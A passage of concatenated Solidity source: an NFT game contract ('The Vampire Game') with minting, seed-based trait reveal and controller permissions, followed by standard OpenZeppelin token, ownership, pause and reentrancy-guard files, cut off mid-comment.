ERC721, Ownable, Pausable, ReentrancyGuard { /// ==== Events event TokenRevealed(uint256 indexed tokenId, uint256 seed); event OGRevealed(uint256 seed); event Gen0Revealed(uint256 seed); /// ==== Immutable Properties /// @notice max amount of tokens that can be minted uint16 public immutable maxSupply; /// @notice max amount of og tokens uint16 public immutable ogSupply; /// @notice address to withdraw the eth address private immutable splitter; /// @notice minting price in wei uint256 public immutable mintPrice; /// ==== Mutable Properties /// @notice current amount of minted tokens uint16 public totalSupply; /// @notice max amount of gen 0 tokens (tokens that can be bought with eth) uint16 public genZeroSupply; /// @notice seed for the OGs who minted contract v1 uint256 public ogSeed; /// @notice seed for all Gen 0 except for OGs uint256 public genZeroSeed; /// @notice contract storing the traits data ITraits public traits; /// @notice game controllers they can access special functions mapping(uint16 => uint256) public tokenSeeds; /// @notice game controllers they can access special functions mapping(address => bool) public controllers; /// === Constructor /// @dev constructor, most of the immutable props can be set here so it's easier to test /// @param _mintPrice price to mint one token in wei /// @param _maxSupply maximum amount of available tokens to mint /// @param _genZeroSupply maxiumum amount of tokens that can be bought with eth /// @param _splitter address to where the funds will go constructor( uint256 _mintPrice, uint16 _maxSupply, uint16 _genZeroSupply, uint16 _ogSupply, address _splitter ) ERC721("The Vampire Game", "VGAME") { mintPrice = _mintPrice; maxSupply = _maxSupply; genZeroSupply = _genZeroSupply; ogSupply = _ogSupply; splitter = _splitter; _pause(); } /// ==== Modifiers modifier onlyControllers() { require(controllers[_msgSender()], "ONLY_CONTROLLERS"); _; } /// ==== Airdrop function airdropToOwners( address v1Contract, uint16 from, uint16 to ) external onlyOwner { require(to >= from); IERC721 v1 = IERC721(v1Contract); for (uint16 i = from; i <= to; i++) { _mint(v1.ownerOf(i), i); } totalSupply += (to - from + 1); } /// ==== Minting /// @notice mint an unrevealed token using eth /// @param amount amount to mint function mintWithETH(uint16 amount) external payable whenNotPaused nonReentrant { require(amount > 0, "INVALID_AMOUNT"); require(amount * mintPrice == msg.value, "WRONG_VALUE"); uint16 supply = totalSupply; require(supply + amount <= genZeroSupply, "NOT_ENOUGH_TOKENS"); totalSupply = supply + amount; address to = _msgSender(); for (uint16 i = 0; i < amount; i++) { _safeMint(to, supply + i); } } /// ==== Revealing /// @notice set the seed for the OG tokens. Once this is set, it cannot be changed! function revealOgTokens(uint256 seed) external onlyOwner { require(ogSeed == 0, "ALREADY_SET"); ogSeed = seed; emit OGRevealed(seed); } /// @notice set the seed for the non-og Gen 0 tokens. Once this is set, it cannot be changed! function revealGenZeroTokens(uint256 seed) external onlyOwner { require(genZeroSeed == 0, "ALREADY_SET"); genZeroSeed = seed; emit Gen0Revealed(seed); } /// ==================== /// @notice Calculate the seed for a specific token /// - For OG tokens, the seed is derived from ogSeed /// - For Gen 0 tokens, the seed is derived from genZeroSeed /// - For other tokens, there is a seed for each for each function seedForToken(uint16 tokenId) public view returns (uint256) { uint16 supply = totalSupply; uint16 og = ogSupply; if (tokenId < og) { // amount of minted tokens needs to be greater than or equal to the og supply uint256 seed = ogSeed; if (supply >= og && seed != 0) { return uint256(keccak256(abi.encodePacked(seed, "og", tokenId))); } return 0; } // read from storage only once uint16 pt = genZeroSupply; if (tokenId < pt) { // amount of minted tokens needs to be greater than or equal to the og supply uint256 seed = genZeroSeed; if (supply >= pt && seed != 0) { return uint256(keccak256(abi.encodePacked(seed, "ze", tokenId))); } return 0; } if (supply > tokenId) { return tokenSeeds[tokenId]; } return 0; } /// ==== Functions to calculate traits given a seed function _isVampire(uint256 seed) private pure returns (bool) { return (seed & 0xFFFF) % 10 == 0; } /// Human Traits function _tokenTraitHumanSkin(uint256 seed) private pure returns (uint8) { uint256 traitSeed = (seed >> 16) & 0xFFFF; uint256 trait = traitSeed % 5; if (traitSeed >> 8 < [50, 15, 15, 250, 255][trait]) return uint8(trait); return [3, 4, 4, 0, 3][trait]; } function _tokenTraitHumanFace(uint256 seed) private pure returns (uint8) { uint256 traitSeed = (seed >> 32) & 0xFFFF; uint256 trait = traitSeed % 19; if ( traitSeed >> 8 < [ 133, 189, 57, 255, 243, 133, 114, 135, 168, 38, 222, 57, 95, 57, 152, 114, 57, 133, 189 ][trait] ) return uint8(trait); return [1, 0, 3, 1, 3, 3, 3, 4, 7, 4, 8, 4, 8, 10, 10, 10, 18, 18, 14][ trait ]; } function _tokenTraitHumanTShirt(uint256 seed) private pure returns (uint8) { uint256 traitSeed = (seed >> 48) & 0xFFFF; uint256 trait = traitSeed % 28; if ( traitSeed >> 8 < [ 181, 224, 147, 236, 220, 168, 160, 84, 173, 224, 221, 254, 140, 252, 224, 250, 100, 207, 84, 252, 196, 140, 228, 140, 255, 183, 241, 140 ][trait] ) return uint8(trait); return [ 1, 0, 3, 1, 3, 3, 4, 11, 11, 4, 9, 10, 13, 11, 13, 14, 15, 15, 20, 17, 19, 24, 20, 24, 22, 26, 24, 26 ][trait]; } function _tokenTraitHumanPants(uint256 seed) private pure returns (uint8) { uint256 traitSeed = (seed >> 64) & 0xFFFF; uint256 trait = traitSeed % 16; if ( traitSeed >> 8 < [ 126, 171, 225, 240, 227, 112, 255, 240, 217, 80, 64, 160, 228, 80, 64, 167 ][trait] ) return uint8(trait); return [2, 0, 1, 2, 3, 3, 4, 6, 7, 4, 6, 7, 8, 8, 15, 12][trait]; } function _tokenTraitHumanBoots(uint256 seed) private pure returns (uint8) { uint256 traitSeed = (seed >> 80) & 0xFFFF; uint256 trait = traitSeed % 6; if (traitSeed >> 8 < [150, 30, 60, 255, 150, 60][trait]) return uint8(trait); return [0, 3, 3, 0, 3, 4][trait]; } function _tokenTraitHumanAccessory(uint256 seed) private pure returns (uint8) { uint256 traitSeed = (seed >> 96) & 0xFFFF; uint256 trait = traitSeed % 20; if ( traitSeed >> 8 < [ 210, 135, 80, 245, 235, 110, 80, 100, 190, 100, 255, 160, 215, 80, 100, 185, 250, 240, 240, 100 ][trait] ) return uint8(trait); return [ 0, 0, 3, 0, 3, 4, 10, 12, 4, 16, 8, 16, 10, 17, 18, 12, 15, 16, 17, 18 ][trait]; } function _tokenTraitHumanHair(uint256 seed) private pure returns (uint8) { uint256 traitSeed = (seed >> 112) & 0xFFFF; uint256 trait = traitSeed % 10; if ( traitSeed >> 8 < [250, 115, 100, 40, 175, 255, 180, 100, 175, 185][trait] ) return uint8(trait); return [0, 0, 4, 6, 0, 4, 5, 9, 6, 8][trait]; } /// ==== Vampire Traits function _tokenTraitVampireSkin(uint256 seed) private pure returns (uint8) { uint256 traitSeed = (seed >> 16) & 0xFFFF; uint256 trait = traitSeed % 13; if ( traitSeed >> 8 < [234, 239, 234, 234, 255, 234, 244, 249, 130, 234, 234, 247, 234][ trait ] ) return uint8(trait); return [0, 0, 1, 2, 3, 4, 5, 6, 12, 7, 9, 10, 11][trait]; } function _tokenTraitVampireFace(uint256 seed) private pure returns (uint8) { uint256 traitSeed = (seed >> 32) & 0xFFFF; uint256 trait = traitSeed % 15; if ( traitSeed >> 8 < [ 45, 255, 165, 60, 195, 195, 45, 120, 75, 75, 105, 120, 255, 180, 150 ][trait] ) return uint8(trait); return [1, 0, 1, 4, 2, 4, 5, 12, 12, 13, 13, 14, 5, 12, 13][trait]; } function _tokenTraitVampireClothes(uint256 seed) private pure returns (uint8) { uint256 traitSeed = (seed >> 48) & 0xFFFF; uint256 trait = traitSeed % 27; if ( traitSeed >> 8 < [ 147, 180, 246, 201, 210, 252, 219, 189, 195, 156, 177, 171, 165, 225, 135, 135, 186, 135, 150, 243, 135, 255, 231, 141, 183, 150, 135 ][trait] ) return uint8(trait); return [ 2, 2, 0, 2, 3, 4, 5, 6, 7, 3, 3, 4, 4, 8, 5, 6, 13, 13, 19, 16, 19, 19, 21, 21, 21, 21, 22 ][trait]; } function _tokenTraitVampireCape(uint256 seed) private pure returns (uint8) { uint256 traitSeed = (seed >> 128) & 0xFFFF; uint256 trait = traitSeed % 9; if (traitSeed >> 8 < [9, 9, 150, 90, 9, 210, 9, 9, 255][trait]) return uint8(trait); return [5, 5, 0, 2, 8, 3, 8, 8, 5][trait]; } function _tokenTraitVampirePredatorIndex(uint256 seed) private pure returns (uint8) { uint256 traitSeed = (seed >> 144) & 0xFFFF; uint256 trait = traitSeed % 4; if (traitSeed >> 8 < [255, 8, 160, 73][trait]) return uint8(trait); return [0, 0, 0, 2][trait]; } /// ==== State Control /// @notice set the max amount of gen 0 tokens function setGenZeroSupply(uint16 _genZeroSupply) external onlyOwner { require(genZeroSupply != _genZeroSupply, "NO_CHANGES"); genZeroSupply = _genZeroSupply; } /// @notice set the contract for the traits rendering /// @param _traits the contract address function setTraits(address _traits) external onlyOwner { traits = ITraits(_traits); } /// @notice add controller authority to an address /// @param _controller address to the game controller function addController(address _controller) external onlyOwner { controllers[_controller] = true; } /// @notice remove controller authority from an address /// @param _controller address to the game controller function removeController(address _controller) external onlyOwner { controllers[_controller] = false; } /// ==== Withdraw /// @notice withdraw the ether from the contract function withdraw() external onlyOwner { uint256 contractBalance = address(this).balance; // solhint-disable-next-line avoid-low-level-calls (bool sent, ) = splitter.call{value: contractBalance}(""); require(sent, "FAILED_TO_WITHDRAW"); } /// @notice withdraw ERC20 tokens from the contract /// people always randomly transfer ERC20 tokens to the /// @param erc20TokenAddress the ERC20 token address /// @param recipient who will get the tokens /// @param amount how many tokens function withdrawERC20( address erc20TokenAddress, address recipient, uint256 amount ) external onlyOwner { IERC20 erc20Contract = IERC20(erc20TokenAddress); bool sent = erc20Contract.transfer(recipient, amount); require(sent, "ERC20_WITHDRAW_FAILED"); } /// @notice reserve some tokens for the team. Can only reserve gen 0 tokens /// we also need token 0 to so setup market places before mint function reserve(address to, uint16 amount) external onlyOwner { uint16 supply = totalSupply; require(supply + amount < genZeroSupply); totalSupply = supply + amount; for (uint16 i = 0; i < amount; i++) { _safeMint(to, supply + i); } } /// ==== pause/unpause function pause() external onlyOwner { _pause(); } function unpause() external onlyOwner { _unpause(); } /// ==== IVampireGameControls Overrides /// @notice see {IVampireGameControls.mintFromController} function mintFromController(address receiver, uint16 amount) external override whenNotPaused onlyControllers { uint16 supply = totalSupply; require(supply + amount <= maxSupply, "NOT_ENOUGH_TOKENS"); totalSupply = supply + amount; for (uint256 i = 0; i < amount; i++) { _safeMint(receiver, supply + i); } } /// @notice for a game controller to reveal the metadata of multiple token ids function controllerRevealTokens( uint16[] calldata tokenIds, uint256[] calldata seeds ) external override whenNotPaused onlyControllers { require( tokenIds.length == seeds.length, "INPUTS_SHOULD_HAVE_SAME_LENGTH" ); for (uint256 i = 0; i < tokenIds.length; i++) { require(tokenSeeds[tokenIds[i]] == 0, "ALREADY_REVEALED"); tokenSeeds[tokenIds[i]] = seeds[i]; emit TokenRevealed(tokenIds[i], seeds[i]); } } /// ==== IVampireGame Overrides /// @notice see {IVampireGame.getTotalSupply} function getTotalSupply() external view override returns (uint16) { return totalSupply; } /// @notice see {IVampireGame.getOGSupply} function getOGSupply() external view override returns (uint16) { return ogSupply; } /// @notice see {IVampireGame.getGenZeroSupply} function getGenZeroSupply() external view override returns (uint16) { return genZeroSupply; } /// @notice see {IVampireGame.getMaxSupply} function getMaxSupply() external view override returns (uint16) { return maxSupply; } /// @notice see {IVampireGame.getTokenTraits} function getTokenTraits(uint16 tokenId) external view override returns (TokenTraits memory tt) { uint256 seed = seedForToken(tokenId); require(seed != 0, "NOT_REVEALED"); tt.isVampire = _isVampire(seed); if (tt.isVampire) { tt.skin = _tokenTraitVampireSkin(seed); tt.face = _tokenTraitVampireFace(seed); tt.clothes = _tokenTraitVampireClothes(seed); tt.cape = _tokenTraitVampireCape(seed); tt.predatorIndex = _tokenTraitVampirePredatorIndex(seed); } else { tt.skin = _tokenTraitHumanSkin(seed); tt.face = _tokenTraitHumanFace(seed); tt.clothes = _tokenTraitHumanTShirt(seed); tt.pants = _tokenTraitHumanPants(seed); tt.boots = _tokenTraitHumanBoots(seed); tt.accessory = _tokenTraitHumanAccessory(seed); tt.hair = _tokenTraitHumanHair(seed); } } function isTokenVampire(uint16 tokenId) external view override returns (bool) { return _isVampire(seedForToken(tokenId)); } function getPredatorIndex(uint16 tokenId) external view override returns (uint8) { uint256 seed = seedForToken(tokenId); require(seed != 0, "NOT_REVEALED"); return _tokenTraitVampirePredatorIndex(seed); } /// @notice see {IVampireGame.isTokenRevealed(tokenId)} function isTokenRevealed(uint16 tokenId) public view override returns (bool) { return seedForToken(tokenId) != 0; } /// ==== ERC721 Overrides function transferFrom( address from, address to, uint256 tokenId ) public virtual override { // Hardcode approval of game controllers if (!controllers[_msgSender()]) require( _isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved" ); _transfer(from, to, tokenId); } function tokenURI(uint256 tokenId) public view override returns (string memory) { require( _exists(tokenId), "ERC721Metadata: URI query for nonexistent token" ); return traits.tokenURI(tokenId); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IERC721.sol"; import "./IERC721Receiver.sol"; import "./extensions/IERC721Metadata.sol"; import "../../utils/Address.sol"; import "../../utils/Context.sol"; import "../../utils/Strings.sol"; import "../../utils/introspection/ERC165.sol"; /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. */ contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping(uint256 => address) private _owners; // Mapping owner address to token count mapping(address => uint256) private _balances; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { require(operator != _msgSender(), "ERC721: approve to caller"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver.onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../../utils/introspection/IERC165.sol"; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _setOwner(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which allows children to implement an emergency stop * mechanism that can be triggered by an authorized account. * * This module is used through inheritance. It will make available the * modifiers `whenNotPaused` and `whenPaused`, which can be applied to * the functions of your contract. Note that they will not be pausable by * simply including this module, only once the modifiers are put in place. */ abstract contract Pausable is Context { /** * @dev Emitted when the pause is triggered by `account`. */ event Paused(address account); /** * @dev Emitted when the pause is lifted by `account`. */ event Unpaused(address account); bool private _paused; /** * @dev Initializes the contract in unpaused state. */ constructor() { _paused = false; } /** * @dev Returns true if the contract is paused, and false otherwise. */ function paused() public view virtual returns (bool) { return _paused; } /** * @dev Modifier to make a function callable only when the contract is not paused. * * Requirements: * * - The contract must not be paused. */ modifier whenNotPaused() { require(!paused(), "Pausable: paused"); _; } /** * @dev Modifier to make a function callable only when the contract is paused. * * Requirements: * * - The contract must be paused. */ modifier whenPaused() { require(paused(), "Pausable: not paused"); _; } /** * @dev Triggers stopped state. * * Requirements: * * - The contract must not be paused. */ function _pause() internal virtual whenNotPaused { _paused = true; emit Paused(_msgSender()); } /** * @dev Returns to normal state. * * Requirements: * * - The contract must be paused. */ function _unpause() internal virtual whenPaused { _paused = false; emit Unpaused(_msgSender()); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. */ abstract contract ReentrancyGuard { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped 